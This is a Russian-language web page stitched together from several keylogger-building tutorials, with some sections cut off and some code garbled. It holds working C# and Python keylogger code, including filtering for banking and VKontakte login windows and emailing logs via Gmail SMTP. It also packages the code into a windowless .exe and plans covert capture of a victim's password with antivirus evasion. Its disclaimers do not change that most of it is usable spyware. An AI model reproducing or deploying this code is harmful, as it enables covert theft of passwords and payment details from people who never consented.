Как создать кейлоггер для личных целей: подробная инструкция
Как создать кейлоггер? Этот вопрос возникает у тех, кто вдруг решил немного побыть хакером. Ведь кейлоггер — это не совсем «правильная» штука, хотя и не является ни вирусом, ни трояном, ни руткитом.
Кейлоггер — это клавиатурный шпион, который сможет проследить за манипуляциями с клавишами на клавиатуре. Более продвинутые версии собирают данные о нажати и клавиатуры и отправляют эти сведения своему создателю. Именно так орудуют хакеры, когда хотят перехватить чьи-то логин и пароль или платежные реквизиты. Особенно продвинутые кейлоггеры не распространяются самостоятельно, а входят в состав более крупных программ , и их не видят антивирусы или файерволы. Например, вы скачали какую-то нужную вам программу, а внутри нее находится кейлоггер, который запустится вместе с инсталляцией программы, а вы даже не будете об этом подозревать. В общем, давайте разбираться, что такое кейлоггер и как его можно создать или им воспользоваться, но обо всем по порядку.
Что такое кейлоггер
Кейлоггер относят к классу «spyware» — программ-шпионов, которые выполняют свои шпионские задачи и следят за действиями ничего не подозревающих пользователей. Те , кто знает о кейлоггерах , очень часто их недо оценивают и не считают настоящей угрозой, хотя в умелых руках этот инструмент может «наворотить» дел и передать своему создателю необходимую ему информацию, которую вводят пользователи.
Современные кейлоггеры могут не только записывать все нажатия с клавиатуры, но и привязывать нажатия к сервисам или к конкретному окну, с которого нужно получить данные. Например, можно шпионить за клавиатурой только тогда, когда открыто окно входа в Фейсбук или ВК.
Обычно продвинутые кейлоггеры очень качественно маскируются под другие программы, поэтому их сложно отследить , и их не видят антивирусы, принимая их за системные файлы или за безвредную программу. Они собирают отчеты в специальные файлы-логи и могут отправлять эти отчеты по e-mail или по ftp-протоколу.
В общем, смотря как создатель кейлоггера подошел к своей разработке. Если со всей ответственностью, то такая программа становится конкретной проблемой в вашем компьютере. Если же абы как, то такую программу довольно просто распознать и удалить.
Какими бывают кейлоггеры
- Простой стандартный способ. Установить соответствующий хук, например , WH_Keyboard или WH_Journalrecord , и использовать соответствующий механизм, например , Win32API. Суть этого способа сводится к тому, что хуки будут считывать информацию непосредственно с системных процессов, перехватывая нажатия абсолютно всех клавиш клавиатуры. Это самый простой вид ловушки, которы й не требует больших программистских знаний ; создать такой кейлоггер можно за пару минут. Однако такие шпионы достаточно легко обнаруживаются в системе , и самый главный их недостаток заключается в том , что они записывают абсолютно все нажатия клавиш. А это значит, что нужно будет выделить среди всех нажатий нужную информацию. Если «шпионить» за одним компьютером, то это полбеды, но если компьютеров несколько десятков или сотен, то накапливаются огромные объемы информации о нажатии клавиш на всех компьютерах.
- Опрос состояния клавиатуры с какой-либо периодичностью. Это тоже довольно простой метод реализации кейлоггера, который часто используется уже готовыми программами-шпионами. Он тяжелее распознается в системе и обладает те ми же недостатками , что и первый способ. Суть этого кейлоггера в том, чтобы «опрашивать» клавиатуру о ее состояни и ( нажата или не нажата клавиша) со скоростью 10-25 опросов в секунду.
- Кейлоггер на основе драйвера. Этот способ несколько сложнее, чем первые два, однако он является наиболее эффективным, незаметным и управляемым. При такой реализации пишется собственный драйвер-шпион для клавиатуры и подменяется на стандартный. Либо устанавливается дополнительный драйвер-фильтр, который отслеживает необходимые нажатия клавиатуры. Например, нужно отследить, что нажимает пользователь, когда открыто окно входа в соцсеть или окно онлайн-оплаты.
- Кейлоггер-руткит. Это профессиональный вид кейлоггеров, который используется редко, но имеет самые высокие показатели в незаметности. Он выстраивается на уровне ядра процессора за счет перехвата процесса обмена информацией между драйвером клавиатуры и процессора. Этот вид кейлоггеров способен перехватывать работу даже экранной клавиатуры. Ни один из выш ео писанных способов не может это го делать, поэтому экранная клавиатура считается отличным средством защиты от клавиатурного шпионажа. А такой кейлоггер мониторит даже экран.
- Физические устройства. Как ни странно, но следить за клавиатурой можно не только программными методами, но и аппаратными устройствами. Такие устр ой ства не распознаются никакими антивирусами или другими программными методами и отлично выполняют свою функцию. Главный недостаток в том, что их установка требует физического контакта с устройством, за которым необходимо следить. Такой кейлоггер может быть реализован в виде USB-флешки или карты памяти, в виде небольшого устройства, которое внедряют в место «разрыва» кабеля, в штекер клавиатуры или в саму клавиатуру и др.
Как распространяются кейлоггеры
- при открытии файла электронного письма, которое вам прислали незнакомы е ( или знакомые) люди;
- при посещении сомнительных сайтов, где может быть установлен скрипт, запускающий автоматическую установку кейлоггера на устройство;
- когда на устройстве уже есть вредоносная программа, которая самостоятельно устанавливает другие программы;
- при скачивании сомнительных программ или драйверов с сомнительных сайтов;
- когда незнакомый вам сайт просит обновить какую-то программу, установленную на вашем компьютере;
- и др.
Кейлоггер: создать или использовать готовый
- The Rat! — работает на уровне аппаратного ядра, поэтому вообще незаметен для защитных программ;
- Elite Keylogger — работает на уровне системных драйверов, поэтому также остается очень незаметным, способен перехватывать не только нажатия клавиатуры, но и снимки с веб-камеры;
- All-in-one Keylogger — работает на уровне системных AppData-директ о рий, поэтому недоступен пользователям для обнаружения, но со временем может быть обнаружен программами безопасности;
- Spytech SpyAgent — работает на уровне системных файлов, поэтому рано или поздно будет обнаружен антивирусами, но обладает широким функционалом, например , способен перехватывать видео с камеры и звук с микрофона;
- Spyrix Personal Monitor — многофункциональный кейлоггер со средней скрытностью, может быть использован в частном порядке, когда его обнаружение не критично, например, когда нужно проследить за своими детьми, братьями, сестрами и т. д.
- и др.
Как создать свой собственный кейлоггер
Мы не будем приводить код кейлоггеров, которые работают на уровне ядра или драйверов и являются очень скрытными, но можем направить и показать , как создать свой простенький кейлоггер.
Самый простой кейлоггер на С# выглядит так:
while (true)
Thread.Sleep(150);
for (Int32 i = 0; i < 255; i++)
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
Console.WriteLine((Keys)i);
>
>
>
Что мы сделали? Мы постоянно вызываем функцию «GetAsyncKeyState», которая определяет состояние клавиш клавиатуры в момент вызова. Подобный цикл будет повторят ь ся каждые 150 мс. Такой код будет сканировать нажатия абсолютно всех клавиш. Если нужно, чтобы такой кейлоггер срабатывал на определенных страницах, например , в ВК и при входе в Юмани, тогда можно дописать вот так:
while (true)
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
string line = buff.ToString();
if (line.Contains(«Yoomoney»)|| line.Contains(«VKontakte — Log In or Sign Up «))
//проверяем клавиатуру раз в 150 мс
>
>
Thread.Sleep(150);
>
Методам совершенства даже такого простого кейлоггера нет предел а . Например, можно при помощи регулярных выражений сделать так, чтобы кейлоггер собирал только почту и пароль или только платежные реквизиты и т. д. С овершенствовать и маскировать кейлоггер можно до бесконечности. Ограничения будут только в вашем знании языка программирования и понимании программных процессов, происходящих в компьютере.
Заключение
Перед тем как создать или использовать кейлоггер, нужно понимать, для каких целей вы хотите осуществить слежку. Такие действия относятся к социальной инженерии и являются незаконными во многих государствах. Поэтому за незаконную слежку за кем бы то н и было вас могут привлечь к ответственности. При этом сами программы-кейлоггеры являются законным и легальным программным обеспечением.
Мы будем очень благодарны
если под понравившемся материалом Вы нажмёте одну из кнопок социальных сетей и поделитесь с друзьями.
Как написать кейлоггер на C#
Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.
Статья предназначена для профессиональных пентестеров и «белых хакеров». Ни автор статьи, ни редакция сайта spy-soft.net не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Создание кейлоггера на C#
Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:
- мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
- мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
- мы сможем забирать логи, находясь в той же локальной сети;
- антивирус должен молчать;
- файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
- мы не будем пытаться скрывать процесс и только дадим ему неприметное название.
Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.
Подробнее об атаках на парольные менеджеры читайте в статье «Взлом KeePass».
Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.
Теория создания клавиатурного шпиона на C#
Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.
Написание кейлоггера на C#
Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.

Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.
Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.
Импортируем GetAsyncKeyState из user32.dll:
Как написать свой кейлоггер

Пишем кейлоггер
Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.
Импорт библиотек
Начнем с импорта необходимых библиотек:
import keyboard import smtplib #для отправки электронной почты по протоколу SMTP (gmail) #Таймер для запуска через заданный «интервал» времени. from threading import Timer from datetime import datetime
Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:
- разрешен доступ для небезопасных приложений ;
- отключена двухэтапная аутентификация.
Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.
Больше полезных материалов вы найдете на нашем телеграм-канале «Библиотека хакера»
Инициализируем параметры
SEND_REPORT_EVERY = 60 #время в секундах EMAIL_ADDRESS = "notmygmail@gmail.com" EMAIL_PASSWORD = "notmypassword"
Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.
Создаем класс и методы
Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:
class Keylogger: def __init__(self, interval, report_method="email"): # передаем SEND_REPORT_EVERY в интервал self.interval = interval self.report_method = report_method # это строковая переменная, которая содержит лог self.log = "" #запись начала и окончания даты и времени self.start_dt = datetime.now() self.end_dt = datetime.now()
Мы установили в качестве метода отправки по умолчанию значение email , что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.
Используем функцию клавиатуры on_release() , которая принимает обратный вызов.
def callback(self, event): name = event.name if len(name) > 1: #не символ, специальная клавиша (например, ctrl, alt и т. д.) #верхний регистр if name == "space": #" " вместо пробелов name = " " elif name == "enter": #добавлять новую строку всякий раз, когда нажимается ENTER name = "[ENTER]\n" elif name == "decimal": name = "." else: #замените пробелы символами подчеркивания name = name.replace(" ", "_") name = f"[]" #добавить имя ключа в глобальную переменную self.log += name
Пишем метод для записи в локальный файл
def update_filename(self): #создать имя файла, которое будет идентифицировано по дате начала и окончания записи start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") self.filename = f"keylog-_" def report_to_file(self): # создать файл with open(f".txt", "w") as f: # записать лог print(self.log, file=f) print(f"[+] Saved .txt")
Отправка на email
def sendmail(self, email, password, message): # управляет подключением к SMTP-серверу server = smtplib.SMTP(host="smtp.gmail.com", port=587) # подключиться к SMTP-серверу в режиме TLS server.starttls() # логин server.login(email, password) # отправить сообщение server.sendmail(email, email, message) # завершает сеанс server.quit()
Если при отправке лога на email, консоль выдает ошибку вроде UnicodeEncodeError: ‘ascii’ codec can’t encode character , откройте библиотеку smtplib.py по адресу C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\ , найдите строку msg = _fix_eols(msg).encode(‘ascii’) и замените ее на msg = _fix_eols(msg).encode(‘utf8’) . Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.
Сообщаем лог через заданные промежутки времени
def report(self): if self.log: self.end_dt = datetime.now() # обновить `self.filename` self.update_filename() if self.report_method == "email": self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) elif self.report_method == "file": self.report_to_file() self.start_dt = datetime.now() self.log = "" timer = Timer(interval=self.interval, function=self.report) timer.daemon = True # старт timer.start()
Давайте определим метод on_release() :
def start(self): #записать дату и время начала self.start_dt = datetime.now() #запустить кейлогер keyboard.on_release(callback=self.callback) self.report() keyboard.wait()
Мы закончили с классом Keylogger , теперь нужно создать экземпляр этого класса:
if __name__ == "__main__": # для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file" # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email") # для записи в локальный файл оставляем как есть keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") keylogger.start()
Использование
Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Pyinstaller . Для этого ставим саму библиотеку:
pip3 install pyinstaller
И собираем все в файл:
pyinstaller --onefile -w 'keylogger.py'
На выходе получаем файл с расширением .exe , который можно использовать на любом компьютере под управлением Windows.
Повторяем, мы категорически против неэтичного использования этого кода и просим обязательно уведомить всех пользователей компьютера, где вы будете запускать данное ПО.
Материалы по теме
- Как взломать Wi-Fi с помощью Kali Linux 2020.4 и Ubuntu 20.04
- ⛑️ Этичный взлом: учимся белому хакингу
- Bug Bounty: как заработать на взломе
Так же просто, как пирог: создание простого кейлоггера на Python
Эта небольшая статья покажет вам, как быстро и легко создать небольшой и очень простой кейлоггер в Python. Этот кейлоггер будет состоять из восьми строк кода-но он работает!
Для нашего кейлоггера мы будем использовать библиотеку python под названием pynput (вы можете найти ее здесь: https://github.com/moses-palmer/pynput). установите его с помощью pip package manager.
Создайте файл, назовите его кейлоггер.pyw, запустите любой текстовый редактор — и давайте начнем создавать кейлоггер.
from pynput.keyboard import Key, Listener
import logging
logdir = «»
logging.basicConfig(filename = (logdir»logfile.txt»),level = logging.DEBUG, format = ‘%(asctime)s : %(message)s’)
def keypress(Key):
logging.info(str(Key))
with Listener(on_press = keypress) as listener:
listener.join()
Это все. Всего восемь строк. Вот для чего предназначена каждая строка:
Первый — это импорт пакетов (в нашем случае-pynput) и ведение журнала, так что каждая клавиша будет регистрироваться при нажатии.
Далее нам нужен каталог ведения журнала, который в данном случае установлен пустым (но вы можете указать свой собственный), поэтому он находится в том же каталоге, что и скрипт.
Следующая строка посвящена конфигурациям ведения журнала, в которых код не требует пояснений. Метод basicConfig () takes имеет три параметра, один из которых-filename. После этого у нас есть метод прослушивания нажатия клавиши – он будет регистрировать соответствующую клавишу после того, как она была нажата. Таким образом, каждое нажатие клавиши будет регистрироваться.
Как вы, наверное, заметили, мы сохранили исходный файл с помощью a .расширение pyw, а не .py one. Причина в том, что в этом случае кейлоггер может работать в фоновом режиме, потому что код внутри .pyw можно запустить без создания консольного окна. Просто запустите код, нажмите несколько клавиш случайным образом и убедитесь, что все эти клавиши вошли в указанный вами файл. Это означает, что вы только что создали кейлоггер на Python, состоящий из 8 строк кода!
Дата публикации: 2019-04-10
Важно! Установка средств компьютерного мониторинга на компьютеры, которыми вы не владеете или не имеете разрешения на мониторинг, может нарушать местное, государственное или федеральное законодательство.